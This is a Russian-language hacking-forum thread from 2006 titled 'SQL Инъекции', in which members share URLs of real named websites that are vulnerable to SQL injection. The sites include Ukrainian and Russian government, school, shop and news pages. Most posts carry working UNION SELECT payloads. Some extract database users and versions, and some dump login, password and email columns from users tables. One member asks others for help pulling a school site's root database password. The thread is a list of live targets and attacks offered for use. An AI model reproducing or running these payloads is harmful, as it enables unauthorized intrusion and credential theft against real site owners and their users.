SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Go0o$E

    Go0o$E Members of Antichat

    Joined:
    27 Jan 2006
    Messages:
    304
    Likes Received:
    228
    Reputations:
    419
    www.loveradio.ru

     
  2. _GaLs_

    _GaLs_ Elder - Старейшина

    Joined:
    21 Apr 2006
    Messages:
    431
    Likes Received:
    252
    Reputations:
    48
    _http://www.aura.vinnica.ua/ishtar/work.php?kat=2'
    _http://automoto.com.ua/result-auto.php?id=2468'
    _http://www.inna.com.ua/ru/comments/596'/
    _http://www.icps.kiev.ua/about/experts/detailed.html?exp='
    _http://www.versii.com.ua/section.php?sec=6'
    _http://www.menr.gov.ua/
    index.php?mode=indexpage&entity_id=12&id_det=143&index_page_id=5'
    _http://telemir.com.ua/publication/show.html?idp=576'&r=220251'
    _http://gostudy.com.ua/news.phtml?id=40'
    _http://www.proformula.ua/gallery.phtml?id='
    _http://sl.kiev.ua/mod.php?mod=userpage&page_id=72'
    _http://www.autobiznet.com.ua/directory/firm.php?id_firm='
     
  3. InferNo23

    InferNo23 Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    183
    Likes Received:
    126
    Reputations:
    42
    MAIL.RU

    _http://sysadmin.mail.ru/rekords_detail.php?id=5555'


    _http://soft.mail.ru/offer_for_users.php?id=99999'

    :)
     
    2 people like this.
  4. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    http://686.com/us/event_details.php?id=163'
     
  5. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    hxxp://soft.mail.ru/offer_for_users.php?id=99999+union+select+1,2,3,4,5,user(),system_user(),8,9,1,2,3,4,5+from+softmail_soft_free/*
     
  6. _GaLs_

    _GaLs_ Elder - Старейшина

    Joined:
    21 Apr 2006
    Messages:
    431
    Likes Received:
    252
    Reputations:
    48
    _http://www.job4u.com.ua/cvInfo.php?id='
    _http://www.goverla-tour.com.ua/country.php?countr_id='
    _http://lecos.com.ua/new/mod.php?mod=userpage&menu=801&page_id=5'
    _http://www.bis-el.kiev.ua/start.php?parent_id=0&part_id=1&article_id=230'
    _http://www.karavan-megastore.com.ua/?view=read&n_id='
     
  7. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    http://www.saranagati.net/shop/index.php?p=list&cid=9999999999+union+select+2,user()/*
    http://www.sabasin.com/sabasin/shop/index.php?act=dca&mid=3008&cid=9999999999+union+select+2,user()/*
     
    1 person likes this.
  8. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    http://www.cycling.from.kz/theme.php?section=history&full=-2+union+select+1,2,333,4,5,6/*
     
    1 person likes this.
  9. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    http://www.edu.ru/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=99+order+by+4--
     
    1 person likes this.
  10. *D1VER

    *D1VER Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    108
    Likes Received:
    67
    Reputations:
    21
    http://www.s-hotel.ru/index.php?module=subjects&func=listpages&subid=2'+union+select+null+/*
     
  11. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    http://www.market.kz/tour/index.php?category=-14+union+select+1,2,3,4,5/*

    http://www.market.kz/tour/index.php?cat=14&subcat=147+union+select+1,2,3,4,5/
    *
     
  12. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    http://www.toscanaeuropa.it/approfondimenti/svilupposost/attivita/dettaglio.asp?id_doc='
    http://www.delegazionepse.it/canali/cooperazione_sviluppo/documenti/dettaglio.asp?id_doc='
    http://www.dsonline.it/magazine/documenti/dettaglio.asp?id_doc='
     
    #172 SWAT, 21 Dec 2006
    Last edited: 21 Dec 2006
  13. VampiRUS

    VampiRUS Elder - Старейшина

    Joined:
    31 Dec 2005
    Messages:
    210
    Likes Received:
    105
    Reputations:
    57
    Code:
    http://www.president.mn/show_module.php?index=dayinfo&dayinfoid=461+union+select+1,1,1,1,1,1,1,1,1,1,1,1,1,1/*
    Code:
    http://www.president.bg/en/news.php?id=69&st=-1
    
     
    #173 VampiRUS, 25 Dec 2006
    Last edited: 25 Dec 2006
    2 people like this.
  14. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    http://sex.dp.ua/topic.php?categor=9999999+UNION+SELECT+1,concat(lo gin,char(58),password,char(58),mail),0,4,5,6,7,8+FROM+users/*
     
    1 person likes this.
  15. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    http://notebooks.neoshop.ru/show_notebooks.html?notebook_id=606/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13/*
    http://www.neoshop.ru/main/order_now.html?what=order_comp&comp_id=99999999%27/**/union/**/select/**/1,1,3,1/*

    ндя...
     
    1 person likes this.
  16. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    http://www.vzmakh.ru/b_sh/fotki1.php?novost=999'
    вот вроде нашёл, сайт какой-то школы, тока у меня особо ничего не получилосс - хотел вытянуть пароль root от базы-ни хрена, может у кого выйдет?
     
    1 person likes this.
  17. *D1VER

    *D1VER Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    108
    Likes Received:
    67
    Reputations:
    21
    Ыы
    http://mobile.ru/news.php?news_id=-1+union+select+1,USER(),1,VERSION(),1,1,1,1+/*
     
  18. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    _http://www.vzmakh.ru/b_sh/fotki1.php?novost=-1+UNION+SELECT+1,concat(user(),char(32,32),0x6861636b206279205b2063617368205d)/*
     
    1 person likes this.
  19. *D1VER

    *D1VER Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    108
    Likes Received:
    67
    Reputations:
    21
    http://www.realhit.ru/?page=news&id=-1+union+select+VERSION(),USER(),null/*

    Ничё более не нарыл!
     
  20. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    тут кто-то ссылку дал, я не могу подобрать нужные столбцы, таблтцу подобрал и логин вроде тоже, только осталось столбец с паролями взгляните?
    _http://www.bis-el.kiev.ua/start.php?parent_id=0&part_id=1&article_id=230+union+select+2,2,3,4,login,6,7,8,9,10,11+from+users/*
    P, S. Кстати вот ещё вроде какая-то фишка
    _http://www.bis-el.kiev.ua/start.php?part_id=2&basketshow=1
     
Thread Status:
Not open for further replies.